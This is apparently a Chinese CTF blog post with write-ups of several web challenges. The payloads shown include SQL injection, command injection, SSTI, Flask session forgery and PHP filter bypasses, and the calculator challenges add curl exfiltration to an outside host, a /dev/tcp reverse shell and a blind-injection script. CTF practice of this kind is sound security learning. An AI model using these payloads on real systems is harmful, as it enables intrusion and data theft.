0%

6月刷题记录

WEB

1.某师傅出的招新题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/**
Flag in flag.php
You can use "readfile" function.
**/
class TestClass { }

show_source(__FILE__);
$str1 = $_GET['str1'];
$str2 = $_GET['str2'];

$rce = new $str2('TestClass');
$a = $rce->$str1();
$st1 = $_POST['st1'];
$st2 = $_POST['st2'];
if($st1==null&&$st2==null){
echo "GET!!!";
}else{
$z = substr($a,$st1,8);
$x = substr($a,$st2,8);
echo $z.'<br>';
echo $x.'<br>';
$z($x);
}
?>

开始看题的时候很懵,没见过。后面看队友说用反射类做。就在网上找了下这方面的CTF题发现这道题

$a=$rce->$str1()并不能传参,而且还有些疑惑,干嘛定义个空类 Testcalss 毫无头绪

然后去看了下php手册找无参的函数,突然 发现ReflectionClass::getDocComment() — 获取文档注释

这个函数有搞头 ,利用注释中的 flag.phpreadfile$z($x)不就可以读取文件了吗

image-20200602005512196

这个题目出的很巧妙。orz

2.[RoarCTF 2019]Easy Calc

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

$blacklist中过滤了 ^ 同时题目设置了WAF,过滤了字母、#、!,所以取反也不能用。

不过可以使用按位与&以及按位或|。在 PHP 中,将两个数字使用.拼接,会当做字符串来处理,返回的也是一个字符串。例如:(1).(2)出来的就是字符串"12",然后可以用{}来代替[]来取单个字符。
并且,PHP 中,1/0得出的是float类型的INF0/0得出的是float类型的NAN,我们也可以把这些转成字符串类型,从而得到字母A I N F

E99p1ant师傅的Fuzz 脚本

1
2
3
4
5
6
7
8
9
$char = '1234567890-INFAH@+*%$()"!%meogiakcfhvwbnq_';
for($i = 0; $i < strlen($char); $i++){
for($j = 0; $j < strlen($char); $j++){
echo($char[$i] .'&' .$char[$j] . ' '. ($char[$i] & $char[$j]));
echo("<br>");
echo($char[$i] .'|' .$char[$j] . ' '. ($char[$i] | $char[$j]));
echo("<br>");
}
}

最后根据这个表,就可以构造代码了。可以构造形如(phpinfo)()这样的形式,来动态执行函数。
值得一提的是,PHP 中函数名是不区分大小写的,因此不一定需要全小写的字符拼凑函数名。
phpinfo()

1
((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))()

(scandir)(../../../)

1
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((((2).(0)){0}){0})|(((0/0).(0)){1})).((((0/0).(0)){1})|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).(((999**999).(1)){1}).(((((999**999).(1)){0})&(((999**999).(1)){2}))|((((4).(0)){0})&(((-1).(0)){0}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))))((((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).(((((4).(0)){0})&(((-1).(0)){0}))|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))))))

在根目录发现 flag 文件f1agg
最终 payload 构造:(serIALIze)(FILe(/f1agg))读取文件:

1
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))

注意最后发送的时候需要再 URLencode 一下。

3.[强网杯 2019]随便注

推一波MrYunen师傅的注入圣经

尝试语句1' or 1=1 #发现返回多个结果,说明存在注入

接着 order by爆字段 发现就两个字段

然后查询数据,有过滤

1
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这里可以利用堆叠注入,原理很简单,就是通过 ; 号注入多条SQL语句

1
2
3
1'; show databases; #
1';show tables;#
1'; show columns from `1919810931114514`; # //表名是数字用反引号

flag就在这串数字表中

  1. 通过编码绕过

    因为select被过滤了,所以先将 select * from `1919810931114514` 进行16进制编码再通过构造payload得

    1
    0';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

    当然也可以通过 char()

    1
    0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;
    • prepare…from…是预处理语句,会进行编码转换。
    • execute用来执行由SQLPrepare创建的SQL语句。
    • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  2. handler

    mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

    1
    1'; handler `1919810931114514` open as `a`; handler `a` read next;#

4.[SUCTF 2019]CheckIn

文件的内容不能包含<?,但可以上传<script language='php'><scirpt>类型的图片马来绕过

利用 .user.ini绕过,解析php

利用前提

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

image-20200608004804065

关键在这两个关键字

image-20200608004839982

auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

先上传 .user.ini

image-20200608005009468

接着传马

image-20200608005047907

再去访问上传目录即可获得flag

5.[护网杯 2018]easy_tornado

flag.txt 提示flag在 /fllllllllllllag

welcome.txt 的render 可能存在SSTI注入

hints.txt 提示我们 filehash的加密格式 md5(cookie_secret+md5(filename))

先直接访问 /fllllllllllllag 直接报错,看URL应该是SSTI注入

1
/error?msg={{2^1}}

直接回显 3 ,过滤了很多符号,命令执行就别想了

说明确实存在注入。后面如何通过注入得到 cookie_secret实在是不知道

大佬一句 阅读tornado源码

1
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

发现handler.settings存放了cookie_secret (ORZ

1
2
3
4
5
import hashlib
cookie_secret = '8bf1192d-691c-4345-8667-78a8a7899ff0'
filename = '/fllllllllllllag'
hash = hashlib.md5((cookie_secret + hashlib.md5(filename.encode()).hexdigest()).encode())
print(hash.hexdigest())

构造下URL即可拿到flag

6.[GXYCTF2019]Ping Ping Ping

简单的命令注入

直接用 ;分割命令成功,直接执行 ls回显 flag.phpindex.php接着读index.php发现过滤了空格用 $IFS$9绕过

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

我用的是base64绕过

payload

1
;`echo$IFS$9Y2F0IGZsYWcucGhwCg==|base64$IFS$9-d`

其他payload

1
2
3
4
5
6
;cat$IFS$1`ls`

// if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
// die("fxck your flag!");
//匹配一个字符串中,是否按顺序出现过flag四个字母
;a=g;cat$IFS$1fla$a.php

7.[HCTF 2018]admin

在登录页面的注释中有一句

1
<!-- you are not admin -->

随便注册个账号进去,在改变密码的页面注释泄露github地址https://github.com/woadsl1234/hctf_flask/

在index.html中

image-20200622145001059

admin登录后得到flag

这道题有两种解法

  • session伪造

    根据P师傅的文章,flask的session都是在本地的,通过一个SECRET_KEY进行签名,可以直接使用脚本进行加解密

    1
    2
    3
    python flask_session_cookie_manager3.py decode -c .eJxFUE2LwjAU_CvLO3uIFi-CB6E2VHgvWFLDy0VcrW3axoW2Ylvxv2_Xhd3DnGaYryccr03WFrDqmns2g6O7wOoJH5-wAlzgkj0LNFQrmRQqjAXrxOF4FlZHzpZFhWFRsIk8euvYpAPrNKCSfrRLJdOedT5ajz3Jg1fhXqCO59bwYP2hVLoKUMYPkuR5rAb2SUmG52xQqHDnUEbeSlzwuFnimAdWpsOE0YYHN-XXrLlHiQMZXMNrBue2uR67ryq7_U2wfttbY2vUG0EyqaZaAZdFjT6pyewXpPePqcZAeleRjAMVbgVt1m8750959n9GZAXlv8zt5CcCuqztYAb3Nmvet8FcwOsb4eJsVg.XvhXYA.DtOXFn-B-CxhrW07nqEb1i9eswM

    '{"_fresh":True,"_id":b"3c9bf41ce8da824a4b374e1bf8d08aaaf2fbae2a5763a8298e1a83fc14ef844125ef2fec9970b04cfc92bdc5f5ac482b0afdc6c09387de2de3d5be1ea610c25c","csrf_token":b"fa1efe1044dd827b8e2de5d654099252d4b78144","image":b"0Vt6","name":"admin","user_id":"10"}'

    然后源码中有SECRET_KEY

    image-20200622144648942

    1
    2
    python flask_session_cookie_manager3.py encode -t "{'_fresh': True,'_id': b'3c9bf41ce8da824a4b374e1bf8d08aaaf2fbae2a5763a8298e1a83fc14ef844125ef2fec9970b04cfc92bdc5f5ac482b0afdc6c09387de2de3d5be1ea610c25c','csrf_token':b'fa1efe1044dd827b8e2de5d654099252d4b78144','image':b'0Vt6','name':'admin','user_id':'10'}" -s ckj123
    .eJxFUE1rwkAQ_Stlzh5WgxfBgxCzRJgJho3L7EWsxmSTjIWomET8700ttId3eo_39YT9uc2vJSxu7T2fwN6fYPGEj09YAM5wzsIKLTWJTsskjBWb1ONwVM5E3lVljWFZso0ExXm2Wc8mC6iiH-080VnHphicYEd6J0m4VWjiqbPcO9lViakD1PGDNAkPdc-SVmR5yhZVEm486kicxhkPqzkOReB01o8YXLjzY37DhjvU2JPFJbwmcLy25_3tq84vfxOcrDtnXYNmpUin9Vgr4KpsUNKG7HZGZvsYa_RkNjXpOEjCtaLV8m3n5VDk_2dETlHxy1wOMhJwOIm_wATu17x9_wZTBa9vTipsnw.XvhesQ.opeFEuwbfnBJs_j3BEQR_eCGvXE
用这个cookie访问 即可得到flag
  • Unicode欺骗

    源码中显示,各种操作前都会对用户名进行自定义的strlower

    1
    2
    3
    def strlower(username):
    username = nodeprep.prepare(username)
    return username

    nodeprep.prepare对应的库是Twisted,requirements.txt中显示Twisted==10.2.0

    版本非常老。

    unicode问题,对于一些特殊字符,nodeprep.prepare会进行如下操作

    1
    ᴬ -> A -> a

    即第一次将其转换为大写,第二次将其转换为小写

    那么,攻击链大概就这样

    • 注册用户ᴬdmin
    • 登录用户ᴬdmin,变成Admin
    • 修改密码Admin,更改了admin的密码

8.[DASCTF 六月赛]简单的计算题

最开始的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it


def index():

def filter(string):
if "or" in string:
return "hack"
return string

if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question==None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
try:
calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except:
result = "Invalid"
return render_template('index.html', answer=result,question=create_question)

if request.method == 'GET':
create_question = create()
session['question'] = create_question
return render_template('index.html',question=create_question)


def source():
return open("app.py", "r").read()

if __name__ == '__main__':
app.run(host="0.0.0.0", debug=False)

只过滤了 or ,因为不是直接回显,所以考虑盲注,但是也可以反弹shell,curl外带

curl外带

1
1234|os.popen('cat /flag | curl http://1.1.1.1:2333 --data-binary @-').read()

image-20200628174548750

反弹shell

1
1234|open('/tmp/c.sh','w').write('/bin/bash -i > /dev/tcp/1.1.1.1/2333 0>&1'),os.system('/bin/bash /tmp/c.sh')

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time

s = "abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_"

payload = "DASCTF"
for j in range(50):
for i in s:
# time.sleep(0.5)
url = "http://183.129.189.60:10026/"
data={'input':'1234|os.system(\'cat /flag|grep {} && sleep 2\')'.format(payload + i)}
print(data)
first = time.time()
r = requests.post(url=url,data=data)
#print(r.text)
second = time.time()
offset = second-first
if offset > 2:
payload = payload+i
print(payload)
break

后面题目下线了,听说是被os.system()打穿了

9.[DASCTF 六月赛]简单的计算题2

其他和1一样,但过滤更严格了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question == None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
calc_str = input_question + "=" + str(input)
try:
calc_result = str((eval(calc_str)))
except Exception as ex:
calc_result = "Invalid"
return render_template('index.html', answer=calc_result,question=create_question)

后面爬下来的黑名单

1
black_list = [ 'os', 'mro', 'request', 'args', 'eval', 'system','if', 'for','subprocess', 'file', 'builtins','compile','execfile','from_pyfile','config','local','self','enter','%','or','ls','sys','globals','read','popen']
  • exec没被禁所以和1一样,但 exec返回为空所以用,分割
1
2
3
4
5
6
7
8
9
a="os.system('cat /flag | curl http://1.1.1.1:2333 --data-binary @-')"
payload=""
for i in a:
payload += str(ord(i))+','
print(payload)
payload=""
for i in a:
payload += str(hex(ord(i))).replace("0x","").zfill(2)
print(payload)
1
2
3
1,exec('o'+'s.sy'+'stem("sleep 10")')  //明显延时了
1,exec(bytes([111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 99, 97, 116, 32, 47, 102, 108, 97, 103, 32, 124, 32, 99, 117, 114, 108, 32, 104, 116, 116, 112, 58, 47, 47, 49, 46, 49, 46, 49, 46, 49, 58, 50, 51, 51, 51, 32, 45, 45, 100, 97, 116, 97, 45, 98, 105, 110, 97, 114, 121, 32, 64, 45, 39, 41]).decode()) //curl外带
1,exec(bytes.fromhex('6f732e73797374656d2827636174202f666c6167207c206375726c20687474703a2f2f312e312e312e313a32333333202d2d646174612d62696e61727920402d2729'))
  • 利用继承链

    1
    2
    ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
    getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')//绕waf
  • 字符拼接

    1
    2
    eval("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
    exec("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
-------------本文结束感谢您的阅读-------------